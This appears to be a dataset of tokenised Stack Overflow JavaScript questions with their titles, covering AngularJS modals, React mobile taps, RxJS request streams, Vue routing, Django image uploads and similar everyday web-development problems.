dd/MM/yyyy '' ng-model= '' workExperience.From '' / > < /div > < div class= '' col-md-6 '' > < input type= '' text '' class= '' form-control '' id= '' timeEnd '' placeholder= '' To : dd/MM/yyyy '' ng-model= '' workExperience.To '' / > < /div > < /div > < br > < label > Title/Position : < /label > < br > < div class= '' row '' > < div class= '' col-md-12 '' > < input type= '' text '' class= '' form-control '' id= '' title '' placeholder= '' Title/Position '' ng-model= '' workExperience.Title '' > < /div > < /div > < br > < label > Workplace/Company : < /label > < br > < div class= '' row '' > < div class= '' col-md-12 '' > < input type= '' text '' class= '' form-control '' id= '' workplace '' placeholder= '' Workplace/Company '' ng-model= '' workExperience.Workplace '' / > < /div > < /div > < br > < label > Contact : < /label > < br > < div class= '' row '' > < div class= '' col-md-12 '' > < input type= '' text '' class= '' form-control '' id= '' contact '' placeholder= '' Contact '' ng-model= '' workExperience.Contact '' / > < /div > < /div > < /div > < /form > < /div > < div class= '' modal-footer '' > < button type= '' submit '' class= '' btn btn-primary '' > Submit < /button > < button type= '' button '' class= '' btn btn-default '' data-dismiss= '' modal '' > Close < /button > < /div > < /div > < /div > < /div > < div class= '' container page-header table-responsive '' > < h3 > Work Experience < /h3 > < table class= '' table '' id= '' tblWorkExp '' > < thead > < tr > < th > Time < /th > < th > Title/Position < /th > < th > Workplace/Company < /th > < th > Contact < /th > < /tr > < /thead > < tbody > < tr ng-repeat= '' workexp in workexps '' > < td > { { workexp.From } } - { { workexp.To } } < /td > < td > { { workexp.Title } } < /td > < td > { { workexp.Workplace } } < /td > < td > { { workexp.Contact } } < /td > < /tr > < /tbody > < /table > < /div > < script type= '' text/javascript '' > /* $ ( document ) .ready ( function ( ) { $ ( `` .modal '' ) .validator ( ) ; } ) ; */ var app = angular.module ( 'resumeApp ' , [ ] ) ; app.controller ( 'resumeController ' , function ( $ scope ) { $ scope.workexps = [ ] ; $ scope.saveWorkExp = function ( ) { $ scope.workexps.push ( $ scope.workExperience ) ; delete $ scope.workExperience ; $ ( ' # workExpModal ' ) .modal ( 'hide ' ) ; $ scope.workExpForm. $ setPristine ( ) ; } } ) ; < /script >",AngularJS : How to push data from bootstrap modal to table "JS : Is it correct that this code causes a memory leak in the browser ? My understanding is that because img is a DOM element and because I 'm attaching JavaScript to it with img.onload the browser will never garbage collect this . To correct that I 'd need to clear img.onload as in /** * @ param { Canvas2DRenderingContext } ctx * @ param { string } url */function loadImageDrawIntoCanvas ( ctx , x , y , url ) { var img = new Image ( ) ; img.onload = function ( ) { ctx.drawImage ( img , x , y ) ; } img.src = url ; } ; /** * @ param { Canvas2DRenderingContext } ctx * @ param { string } url */function loadImageDrawIntoCanvas ( ctx , x , y , url ) { var img = new Image ( ) ; img.onload = function ( ) { ctx.drawImage ( img , x , y ) ; img.onload = null ; // detach the javascript from the Image img = null ; // needed also so the closure does n't keep // a reference to the Image ? } img.src = url ; } ;",Leaving a handler on img.onload is a memory leak ? "JS : I 'm running a sitewide AB test on my ecommerce site . After a visitor lands , I assign them a local storage key/value : After a visitor checks out , I check which version they are on and send another Google Analytics Event.My checkout conversion events are showing up just fine . But I am only getting about 25 % of the `` New Unique Visit '' events . Analytics is showing 12000 visits to the site but I only have 3000 of my custom events.Which part of my code is causing this discrepancy and how can I fire an event on all visits ? function isLocalStorageNameSupported ( ) { var testKey = 'test ' , storage = window.localStorage ; try { storage.setItem ( testKey , ' 1 ' ) ; storage.removeItem ( testKey ) ; return true ; } catch ( error ) { return false ; } } $ ( function ( ) { if ( isLocalStorageNameSupported ( ) ) { var version = Cookies.get ( `` version '' ) ; if ( version == null ) { if ( Math.random ( ) > = 0.5 ) { Cookies.set ( `` version '' , `` A '' ) ; var version = `` A '' } else { Cookies.set ( `` version '' , `` B '' ) ; var version = `` B '' } ga ( 'create ' , 'UA-XXXXXXXX-1 ' , 'auto ' ) ; ga ( 'send ' , { hitType : 'event ' , eventCategory : 'Pricing Experiment ' , eventAction : 'New Unique Visit ' , eventLabel : version , eventValue : 0 } ) ; } } } ) ;",AB Testing with Local Storage and Google Analytics "JS : Video demonstrating issueI have a bunch of clickable components that , when clicked , adds a `` card '' to a row . On desktop , it works fine , but on mobile ( tested on iPhone , does not seem to be an issue for Android tablet ) , it requires 2 consecutive taps of the same button to fire the onClick function.These components also have onMouseEnter/onMouseLeave effects on them , to control a global state , which in turn decides if several components should have additional CSS applied ( so I ca n't make it a simple CSS hover effect ) .I believe that the mouse effects are interfering with the click event , but I have no idea how I could fix that . Here is the relevant code for this component : Furthermore , once a button has been tapped twice , the hover effect CSS `` sticks '' to that button , and never moves to another button . This seems to happen on both iPhone and Android tablet . I would love to have this not happen anymore either.I 've created a working demonstration of this issue in a sandbox , which if viewed on mobile you should be able to recreate these issues : https : //codesandbox.io/s/mobile-requires-2-taps-i9zri ? file=/src/Components/CardSource/CardSource.js const CardSource = ( { addCard , note , setHoveredNote , hoveredNote } ) = > { return ( < Source onClick= { ( ) = > addCard ( note ) } onMouseEnter= { ( ) = > setHoveredNote ( note ) } onMouseLeave= { ( ) = > setHoveredNote ( null ) } className= { hoveredNote & & hoveredNote.index === note.index ? `` highlight '' : null } > { note.letters [ 0 ] } < /Source > ) ; } ;",React : onClick on Mobile ( iPhone ) requires 2 taps ? JS : How My Question is Different From OthersI am using ES6 syntax . The other questions I looked at uses ES5 syntax.The QuestionWhy does alert ( ) ; run before console.log ( ) ; ? And can I make it so that console.log ( ) ; is executed before alert ( ) ; ? My Code console.log ( `` Hello ! '' ) ; alert ( `` Hi ! `` ) ;,Why does alert ( ) ; run before console.log ( ) ; "JS : I am building a simple mapping between frontend/backend data structure . In order to do that I 've created a decorator that looks like the following : And this is how I use it : The issue that I 'm seeing is that instead of the actual object being passed to the decorator it 's always its prototype : Which means that as I am assigning stuff to the instance in the decorator , it is always attached to the prototype which in turn means that properties I want to be defined only the VW instance are also available on the AbstractCar and the BMW class ( in this example this would be yearEstablished ) . This makes it impossible to have two properties with the same name but different API fields in two different classes.Is there any way to circumvent this behaviour ? function ApiField ( apiKey : string , setFn : ( any ) = > any = ( ret ) = > ret , getFn : ( any ) = > any = ( ret ) = > ret ) { return function ( target : AbstractModel , propertyKey : string ) { target.apiFieldsBag = target.apiFieldsBag || { } ; _.assign ( target.apiFieldsBag , { [ propertyKey ] : { apiKey : apiKey , setFn : setFn , getFn : getFn } } ) ; } ; } class AbstractCar { @ ApiField ( 'id ' ) public id : string = undefined ; } class BMW extends AbstractCar { @ ApiField ( 'cylinders ' ) public cylinderCount : number ; } class VW extends AbstractCar { @ ApiField ( 'yearCompanyFounded ' ) public yearEstablished : number ; } __decorate ( [ ApiField ( 'yearCompanyFounded ' ) ] , VW.prototype , `` yearEstablished '' , void 0 ) ;",Assigning properties to non-prototype with decorators "JS : I have this div inside my page ; On my typescript code , I have this to check if there are required fields that are not set.This is not working . The length is always 0 . I also tried the following below but no luck : Any ideas ? < div class= '' workspace '' id= '' workspace '' > < div data-ng-repeat= '' node in controller.Nodes '' on-last-repeat=on-last-repeat > < /div > < /div > if ( $ ( ' # workspace ' ) .find ( '.ng-invalid ' ) .length ! = 0 ) if ( $ ( ' # workspace ' ) .find ( '.has-error.form-control ' ) .length ! = 0 ) if ( $ ( ' # workspace ' ) .find ( '.invalid ' ) .length ! = 0 )",jquery find not getting the invalid elements "JS : I 'm currently writing a search function using JavaScript.However , when I attempt to test my creation , I find that it stops about halfway through for no discernible reason.Below is my code : The first line is there to clear a potential error message from earlier in the code . Then I attempt to open up an XML file , as I need to read from it.As you can see , I 've entered two debug statements there ; they will print 1 or 2 depending on how far I get in the code.Using this , I 've found that it stops exactly on the Connect.send ( null ) ; statement ( as 1 gets printed , but 2 never does ) , but I ca n't figure out why . Google says that it might be that chrome ca n't access local files , but when I found a way to allow Chrome to do this , it still did not work.What am I doing wrong ? document.getElementById ( `` test '' ) .innerHTML = `` '' ; var Connect = new XMLHttpRequest ( ) ; Connect.open ( `` GET '' , `` xmlTest.xml '' , false ) ; document.getElementById ( `` test '' ) .innerHTML = `` 1 '' ; Connect.send ( null ) ; document.getElementById ( `` test '' ) .innerHTML = `` 2 '' ; var docX = Connect.responseXML ; var linjer = docX.getElementsByTagName ( `` linjer '' ) ;",XMLHttprequest.send ( null ) is crashing my code "JS : I 'm new to RxJS and was wondering if anyone could help me.I want to create a synchronous stream of responses ( preferably with the corresponding requests ) from a stream of requests ( payload data ) .I basically want the requests to be sent one by one , each waiting for the response from the last one.I tried this , but it sends everything at once ( jsbin ) : The following works , to an extent , but does not use stream for the request data ( jsbin ) .Thank you ! EDIT : Just to clarify , this is what I wanted to achieve : '' Send A , when you receive response for A , send B , when you receive response for B , send C , etc ... '' Using concatMap and defer , as suggested by user3743222 , seems to do it ( jsbin ) : var requestStream , responseStream ; requestStream = Rx.Observable.from ( [ ' a ' , ' b ' , ' c ' , 'd ' , ' e ' ] ) ; responseStream = requestStream.flatMap ( sendRequest , ( val , response ) = > { return { val , response } ; } ) ; responseStream.subscribe ( item= > { console.log ( item ) ; } , err = > { console.err ( err ) ; } , ( ) = > { console.log ( 'Done ' ) ; } ) ; function sendRequest ( val ) { return new Promise ( ( resolve , reject ) = > { setTimeout ( ( ) = > { resolve ( 'result for '+val ) ; } ,1000 ) ; } ) ; } ; var data , responseStream ; data = [ ' a ' , ' b ' , ' c ' , 'd ' , ' e ' ] ; responseStream = Rx.Observable.create ( observer= > { var sendNext = function ( ) { var val = data.shift ( ) ; if ( ! val ) { observer.onCompleted ( ) ; return ; } sendRequest ( val ) .then ( response= > { observer.onNext ( { val , response } ) ; sendNext ( ) ; } ) ; } ; sendNext ( ) ; } ) ; responseStream.subscribe ( item= > { console.log ( item ) ; } , err = > { console.err ( err ) ; } , ( ) = > { console.log ( 'Done ' ) ; } ) ; function sendRequest ( val ) { return new Promise ( ( resolve , reject ) = > { setTimeout ( ( ) = > { resolve ( 'response for '+val ) ; } , Math.random ( ) * 2500 + 500 ) ; } ) ; } ; responseStream = requestStream.concatMap ( ( val ) = > { return Rx.Observable.defer ( ( ) = > { return sendRequest ( val ) ; } ) ; } , ( val , response ) = > { return { val , response } ; } ) ;",Synchronous stream of responses from a stream of requests with RxJS JS : i use the following to to set the text content of an css elementNow i want to set the back-ground image and color ... ..how to do it ? ? var cell = document.createElement ( 'li ' ) ; cell.textContent = this.labelForIndex ( index ) ;,set background image of a css element "JS : Task - Create a reusable button/anchor tag attribute selected component for an Angular library , with as much of the logic for the behavior tied up in the component itself not on the HTML markup.HTML markup should be as clean as possible ideally < a routerLink= '' '' attributeSelectorForComponent > < /a > Issue - Trying to prevent routerLink from firing when [ attr.disabled ] is present on the anchor tag , with a click listener.Removed the disabled logic from the equation for simplicity , routerLink is still fired regardless.Proposed solutions - How can I conditionally disable the routerLink attribute ? Does n't really help address my issue , disabling pointer-events will only disable mouse events not keyboard events , and also prevents me from being able to remove the pointer-events : none with a mouseover , click ect requiring what would be a relatively convoluted solution to detect the disable attribute and remove the css accordingly , and in general seems like more a hacky solution than a correct one . @ HostListener ( 'click ' , [ ' $ event ' ] ) onMouseClick ( event : Event ) { event.stopImmediatePropagation ( ) ; event.preventDefault ( ) }",Disabling routerLink with stopImmediatePropogation method "JS : Google Chrome displays the rendered font in the DevTools.For example , given : and the Montserrat font is missing/disabled , Chrome tells us that Helvetica is being rendered : Is there a way to get the rendered font in JavaScript ? ( even if it just works in Chrome ) Notes : This solution suggests getComputedStyle ( ... ) .fontFamily , but it returns the CSS declaration `` Montserrat , Helvetica , sans-serif '' , not the actual rendered font.This solution uses puppeteer , but I could n't figure out how to achieve the same purely in DevTools ( without puppeteer ) . font-family : Montserrat , Helvetica , sans-serif ;",How to get the rendered font in JavaScript ? "JS : I have some HTML code as follows : Desired functionality : When radio=1 is checked , the paymount field value will show as 1234 . When radio=2 is checked , the paymount field value will show as 5678.I have found posts on Stack Overflow , but a lot of them are related to hiding a text field . < input name= '' bid '' type= '' radio '' value= '' 1 '' id= '' 1234 '' / > < input name= '' bid '' type= '' radio '' value= '' 2 '' id= '' 5678 '' / > < input type= '' text '' id= '' paymount '' name= '' paymount '' value= '' '' / >",Copy radio value using its ID to insert into input as value using JavaScript "JS : I have a container element that is holding a few other elements , but depending on the screen size parts of them are inexplicably cut off at various portions . You can observe the behaviour on my code sandbox link , when the HTML page is adjusted in width ( by clicking and dragging it ) . How can I ensure that only the main container border is rendered , and that the child elements do not have any impact ? https : //codesandbox.io/s/focused-tree-ms4f2 import React from `` react '' ; import styled from `` styled-components '' ; const StyledTextBox = styled.div ` height : 15vh ; width : 30vw ; display : flex ; flex-direction : column ; margin : 0 auto ; border : 1px solid black ; background-color : # fff ; > * { box-sizing : border-box ; } ` ; const InputBox = styled.span ` height : 35 % ; width : 100 % ; display : flex ; border : none ; outline : none ; ` ; const UserInput = styled.input ` height : 100 % ; width : 90 % ; border : none ; outline : none ; ` ; const SolutionBox = styled.div ` height : 35 % ; width : 100 % ; border : none ; outline : none ; ` ; const StyledKeyboard = styled.span ` height : 30 % ; width : 100 % ; position : relative ; background-color : # DCDCDC ; box-sizing : border-box ; display : flex ; ` export default function App ( ) { return ( < StyledTextBox > < InputBox > < UserInput / > < /InputBox > < SolutionBox/ > < StyledKeyboard/ > < /StyledTextBox > ) ; }",Parts of div border being cut off "JS : I currently am working on a project that involves storing data in an HTML5 SQL-Lite Database . Currently , I have a schema as follows ( 4 Tables ) : Note : The `` Note '' column in TransData is used to point to the beginning data point of a collection in the FullData field . The database between my App and the server SHOULD NOT BE IN SYNC . I am merely trying to dump all of these tables into the database on the server ( and by dump I mean , update the references to other tables , and then insert into the server database ) .I was going to use MAX ( TID-Server ) + TID-App = new TID-Server , and cascade the updates down the tables . How would you go about doing this ? TransData : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| TID | UserName | TransColor | ... | Date | Note | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| 6 | Brendan | Red | ... | | | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| 7 | Brendan | Red | ... | | 1 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -FullData : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| TID | UserName | TransColor | ... | Date | Note | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| 1 | Brendan | Red | ... | | Start | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| ... | Brendan | Red | ... | | | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| 40 | Brendan | Red | ... | | End | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -SalamanderData : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | SID | SalamanderName | Length | ... | TID | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 1 | Northern-Slimy | 16 | ... | 6 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 2 | Two-Lined | 26 | ... | 6 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 3 | Two-Lined | 12 | ... | 7 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- SalamanderData : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | SID | SalamanderName | Length | ... | TID | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 1 | Northern-Slimy | 16 | ... | 6 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 2 | Two-Lined | 26 | ... | 6 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | 3 | Two-Lined | 12 | ... | 7 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --",HTML5 App Database Syncing "JS : I 'm using webpack and babel and try using ES2015 module.When I use the debug tool ( chrome dev tools for Chrome v65 ) , it seems impossible to watch an expression but with the mouse over the expression , the value is shown.On the other side : I added a breakpoint in this file . Interestingly , the source map is working and the line to put a breakpoint is well respected.This is how the screen looks like when it arrives on it : As you can see , the mouse over the expression shows that the urlEnv.dac is found . But on the Watch panel , urlEnv is not defined . On the console , the same thing happens.Have you a solution or workaround for that ? What is worse , is when I try to debug on Android via remote debugging . On my Android 5.0 device , even the mouse ca n't display the expression 's value.My webpack.config.js looks like : # url.jsexport default { `` dac '' : `` http : //10.75.10.10:9000/api '' , } # index.jsimport urlEnv from `` ./url '' module.exports = { entry : `` ./src/index.js '' , output : { path : path.resolve ( __dirname , `` www '' ) , filename : `` app.js '' } , devtool : `` inline-source-map '' ,",Ca n't see watch expression in Chrome dev tools with import module "JS : I currently render Vue apps into Vue apps . I achieve this by embedding the index.html file of the sub-app into a div container of the main-app.If you want to know more about this please have a look heremount Vue apps into container of main Vue appand my own answer to this problemhttps : //stackoverflow.com/a/58265830/9945420My sub-app rendered within the object tags of the customAppContainer has it own routes , a basic routing would beI can navigate through my sub-app and log the current urlOn the first route I get / and on the second one I get /two . This is correct . But while navigating through the sub-app the browser URL never changes . When calling localhost:3000/apps/my-first-custom-app/two the fileserver serves the index.html and is not able to forward to /two.Is it possible to forward to the correct route ? And manipulate the browser URL when navigating through the sub-app ? Update : I tried to remove the object tags because they seem to create a blackbox . I found another approach herehttps : //stackoverflow.com/a/55209788/9945420The updated code should beThis code works with plain HTML files ( no Vue apps ) but when I want to embed a distributed Vue app this app is not rendered.Minimalistic reproductionI created a minimalistic repository for reproduction.https : //github.com/byteCrunsher/temp-reproductionThe development directory contains the static fileserver , the base Vue app that should render the vue apps and the apps themselves . Please keep in mind that the first app is a Vue app and the second app is just a basic HTML file.The production directory contains the fileserver , the distributed Vue apps and the html file . Simply run the static fileserver from the production directory and go to http : //localhost:3000 you should see my current work then.UpdateWhen I use the vue directive v-html and store the response into a data attribute ( https : //hatebin.com/casjdcehrj ) then I get this response from the serverand this is the content I get when I use await response.text ( ) ; < template > < div id= '' customAppContainer '' > < /div > < /template > < script > export default { mounted ( ) { this.updateCustomAppContainer ( ) ; } , methods : { updateCustomAppContainer ( ) { const fullRoute = this. $ router.currentRoute.fullPath ; const routeSegments = fullRoute.split ( `` / '' ) ; const appsIndex = routeSegments.indexOf ( `` apps '' ) ; const appKey = routeSegments [ appsIndex + 1 ] ; document.getElementById ( `` customAppContainer '' ) .innerHTML = ` < object style= '' width : 100 % ; height:100 % ; '' data= '' http : //localhost:3000/subApps/ $ { appKey } '' > < /object > ` ; } } , watch : { $ route ( to , from ) { this.updateCustomAppContainer ( ) ; } } } ; < /script > export default new Router ( { base : '/my-first-custom-app/ ' , mode : 'history ' , routes : [ { path : '/ ' , component : PageOne , } , { path : '/two ' , component : PageTwo , } , ] , } ) ; < script > export default { created ( ) { console.log ( this. $ router.currentRoute.fullPath ) ; } } ; < /script > < template > < div id= '' customAppContainer '' > < /div > < /template > < script > export default { async mounted ( ) { await this.updateCustomAppContainer ( ) ; } , methods : { async updateCustomAppContainer ( ) { const fullRoute = this. $ router.currentRoute.fullPath ; const routeSegments = fullRoute.split ( `` / '' ) ; const appsIndex = routeSegments.indexOf ( `` apps '' ) ; const appKey = routeSegments [ appsIndex + 1 ] ; // document.getElementById ( // `` customAppContainer '' // ) .innerHTML = ` < object style= '' width : 100 % ; height:100 % ; '' data= '' http : //localhost:3000/subApps/ $ { appKey } '' > < /object > ` ; const response = await fetch ( ` http : //localhost:3000/subApps/ $ { appKey } ` ) ; const htmlContent = await response.text ( ) ; document.getElementById ( `` customAppContainer '' ) .innerHTML = htmlContent ; } } , watch : { async $ route ( to , from ) { await this.updateCustomAppContainer ( ) ; } } } ; < /script >",manipulate browser Url within embedded Vue app "JS : I have simple app with Django REST and Angular on frontend and I have problem with image upload.my model : When I sending image via form , text uploaded well , but image has null value.responce from browser : { `` img '' : null , '' text '' : '' test '' } here is printed self.data.request when I uploaded image : QueryDict : { 'text ' : [ 'test ' ] , 'InMemoryUploadedFile : filename.jpg ( image/jpeg ) ] } Serializer is just simple ModelSerializer with two model fields.view : For image upload I use lib ng-file-upload , I tried another way to upload and image was null too.angular code : class Photo ( models.Model ) : img = models.ImageField ( upload_to='photos/ ' , max_length=254 ) text = models.CharField ( max_length=254 , blank=True ) class PhotoViewSet ( viewsets.ModelViewSet ) : queryset = Photo.objects.all ( ) serializer_class = PhotoSerializer parser_classes = ( MultiPartParser , FormParser ) def perform_create ( self , serializer ) : serializer.save ( img=self.request.data.get ( 'file ' ) ) photo_router = DefaultRouter ( ) photo_router.register ( r'photo ' , PhotoViewSet ) var app = angular.module ( 'myApp ' , [ 'ngRoute ' , 'ngFileUpload ' ] ) ; app.config ( function ( $ routeProvider ) { $ routeProvider .when ( '/ ' , { templateUrl : 'http : //127.0.0.1:8000/static/js/angular/templates/home.html ' } ) } ) ; app.config ( [ ' $ httpProvider ' , function ( $ httpProvider ) { $ httpProvider.defaults.xsrfCookieName = 'csrftoken ' ; $ httpProvider.defaults.xsrfHeaderName = ' X-CSRFToken ' ; } ] ) ; app.controller ( 'MyCtrl ' , [ ' $ scope ' , 'Upload ' , ' $ timeout ' , function ( $ scope , Upload , $ timeout ) { $ scope.uploadPic = function ( file ) { file.upload = Upload.upload ( { url : '/api/photo/ ' , data : { text : $ scope.text , img : file } , } ) ; file.upload.then ( function ( response ) { $ timeout ( function ( ) { file.result = response.data ; } ) ; } , function ( response ) { if ( response.status > 0 ) $ scope.errorMsg = response.status + ' : ' + response.data ; } , function ( evt ) { file.progress = Math.min ( 100 , parseInt ( 100.0 * evt.loaded / evt.total ) ) ; } ) ; } } ] ) ;","Django REST , uploaded image has null value" "JS : I 'm adapting Twilio 's JS Quickstart and trying to provide a button that will mute a user 's audio . From looking around online , my code looks like this : The console.log ( ) spits out a LocalAudioTrackPublication , yet I get the following error : Uncaught TypeError : track.disable is not a functionSo I 'm stumped . The docs imply that the .disable ( ) method will do what I expect , yet apparently , it 's not defined ? function toggleAudio ( ) { room.localParticipant.audioTracks.forEach ( function ( track ) { console.log ( track ) ; track.disable ( ) ; } ) }",Can not disable localParticipant.audioTracks with Twilio Video JS : For eg while i am typing my ssn number my first 5 dight must be masked to *Note : on keyup it should check no of digits and mask based on it.I came through this below example . It mask the entire nine digit.https : //codepen.io/anon/pen/VROrdo 123456789 = > *****6789,how to mask first Five digit number on keyup using * JS : I found a method on the internet that can retrieve the Id of a youtube video from the url.this is it.The Id will be contained in `` vid '' .What I do n't understand and I find interesting and want to know is this.How does it work ? var vid ; var results ; results = url.match ( `` [ \\ ? & ] v= ( [ ^ ] * ) '' ) ; vid = ( results === null ) ? url : results [ 1 ] ; results = url.match ( `` [ \\ ? & ] v= ( [ ^ ] * ) '' ) ;,I found this `` [ \\ ? & ] v= ( [ ^ & # ] * ) '' on the internet can someone explain it to me "JS : I am unable to focus on any input field inside bootstrap carousel . No matter how many times you click on it , the input field is not getting focused.I even tried giving z-index to the input field but it still does n't get focused.You can check the error by running the snippet below . $ ( document ) .ready ( function ( ) { $ ( `` .carousel '' ) .swipe ( { swipe : function ( event , direction , distance , duration , fingerCount , fingerData ) { if ( direction == 'left ' ) $ ( this ) .carousel ( 'next ' ) ; if ( direction == 'right ' ) $ ( this ) .carousel ( 'prev ' ) ; } , allowPageScroll : '' vertical '' } ) ; } ) ; .carousel-indicators { position : absolute ! important ; bottom : -100px ! important ; } .carousel-indicators li { background-color : green ; border : 1px solid green ! important ; } .carousel-inner > .item > div { padding : 30px ; } .carousel-inner > .item > div > div { text-align : center ; } < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css '' > < div class= '' container '' id= '' skill-builder '' > < div class= '' row '' > < div id= '' carousel-example-generic '' class= '' carousel slide '' data-ride= '' carousel '' data-interval= '' false '' > < ! -- Indicators -- > < ol class= '' carousel-indicators '' > < li data-target= '' # carousel-example-generic '' data-slide-to= '' 0 '' class= '' active '' > < /li > < li data-target= '' # carousel-example-generic '' data-slide-to= '' 1 '' > < /li > < li data-target= '' # carousel-example-generic '' data-slide-to= '' 2 '' > < /li > < /ol > < ! -- Wrapper for slides -- > < div class= '' carousel-inner '' role= '' listbox '' > < div class= '' item active '' > < div > < p > In the diagram shown , assume the pulley is smooth and fixed and the ropes are massless . The mass of each block is marked on the block in the diagram . Assume . Find the magnitute of the acceleration of block M. < /p > < div > < img src= '' ./assets/questions/1-question.jpg '' alt= '' '' > < /div > < div > < input type= '' text '' placeholder= '' Enter Answer '' name= '' answer '' > < /div > < div > < button > Confirm < /button > < /div > < /div > < /div > < div class= '' item '' > < div > < p > In the diagram shown , assume the pulley is smooth and fixed and the ropes are massless . The mass of each block is marked on the block in the diagram . Assume . Find the magnitute of the acceleration of block M. < /p > < div > < img src= '' ./assets/questions/2-question.png '' alt= '' '' > < /div > < div > < input type= '' text '' placeholder= '' Enter Answer '' name= '' answer2 '' > < /div > < div > < button > Confirm < /button > < /div > < /div > < /div > < div class= '' item '' > < div > < p > In the diagram shown , assume the pulley is smooth and fixed and the ropes are massless . The mass of each block is marked on the block in the diagram . Assume . Find the magnitute of the acceleration of block M. < /p > < div > < img src= '' ./assets/questions/1-question.jpg '' alt= '' '' > < /div > < /div > < /div > < /div > < ! -- Controls -- > < a class= '' left carousel-control '' href= '' # carousel-example-generic '' role= '' button '' data-slide= '' prev '' > < span class= '' glyphicon glyphicon-chevron-left '' aria-hidden= '' true '' > < /span > < span class= '' sr-only '' > Previous < /span > < /a > < a class= '' right carousel-control '' href= '' # carousel-example-generic '' role= '' button '' data-slide= '' next '' > < span class= '' glyphicon glyphicon-chevron-right '' aria-hidden= '' true '' > < /span > < span class= '' sr-only '' > Next < /span > < /a > < /div > < /div > < /div > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery.touchswipe/1.6.18/jquery.touchSwipe.min.js '' > < /script > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js '' > < /script >",Unable to focus on Input Field in Bootstrap Carousel "JS : I 'm using React , Redux , and React Router for an application and having trouble with using on onBlur input event in tandem with a route change.I have a `` SearchResults '' component that presents a list of internal links . SearchResults only shows when the state searchActive is true.SearchResults has a list of links rendered in a loop ... The input for the search ( another , independent component ) sets searchActive to true during the onFocus event and false for the onBlur event.With this setup , when I click on a Link , the route does not change . However , if include a setTimeout , I get the desired behavior.UpdateThe onBlur action is hiding the SearchResults component and not registering the Link click . Is there any way I can register the Link click before doing the onBlur action ? Why is n't react-router registering the route change on Link click when I dispatch a Redux action in the onBlur callback ? < div > { props.searchActive ? < SearchResults / > : props.children } < /div > < Link key= { Math.random ( ) } to= { r.path } > { r.name } < /Link > < input onFocus= { ( ) = > { // dispatch Redux action ( set `` searchActive '' to true ) props.startSearch ( ) ; } } onBlur= { ( ) = > { // dispatch Redux action ( set `` searchActive '' to false ) props.endSearch ( ) ; } } / > ... setTimeout ( ( ) = > { props.endSearch ( ) ; } , 400 ) ...",React-router not changing routes with input onBlur event "JS : First StackOverflow question - woo ! Quick question about styling this piece of Javascript : Where do I put the CSS styling in the javascript to highlight the letters in the search results ? This is similar to searching using Ctrl+F in the browser.Any help would be greatly appreciate . Thanks ! JP //Search $ ( ' # search ' ) .keydown ( function ( e ) { setTimeout ( function ( ) { if ( $ ( ' # search ' ) .val ( ) == `` ) { $ ( ' # history h4 ' ) .show ( ) ; $ ( ' # history li li ' ) .show ( ) ; return ; } $ ( ' # history h4 ' ) .hide ( ) ; var search = $ ( ' # search ' ) .val ( ) .toLowerCase ( ) ; $ ( ' # history li li ' ) .each ( function ( ) { var thisId = $ ( this ) .attr ( 'id ' ) .substr ( 13 ) ; var item = $ .grep ( history , function ( item ) { return item.id == thisId ; } ) [ 0 ] ; if ( item.message.toLowerCase ( ) .indexOf ( search ) ! = -1 || item.link.toLowerCase ( ) .indexOf ( search ) ! = -1 ) $ ( this ) .show ( ) ; else $ ( this ) .hide ( ) ; } ) ; } , 1 ) ; } ) ; } ) ; < font class= '' highlight '' > < /font >",Styling highlighted text in incremental search JS "JS : I 'm getting a 'error:0D07209B : asn1 encoding routines : ASN1_get_object : too long ' when trying to sign a object with a PrivateKey I generated , in Node.js.The buf is a simple object encoded with node-cborWould the Certificate be strictly necessary ? Am I missing any information in the PEM string ? Any help is appreciated , thank you : ) var ecdh = crypto.createECDH ( 'secp256k1 ' ) ecdh.generateKeys ( ) var sign = crypto.createSign ( 'RSA-SHA256 ' ) sign.update ( buf ) var buf_signed = sign.sign ( ' -- -- -BEGIN PRIVATE KEY -- -- -\n ' + ecdh.getPrivateKey ( 'base64 ' ) + '\n -- -- -END PRIVATE KEY -- -- - ' + '\n -- -- -BEGIN CERTIFICATE -- -- - ' + '\n -- -- -END CERTIFICATE -- -- - ' , 'binary ' )",Being unable to sign an Buffer with ECDH private key in Node.js "JS : I have two files , file1 exports a variable 'not a constant ' var x=1and file2 which imports this variable from itthe problem is that I canno't modify that imported variable even it is not a constant ! 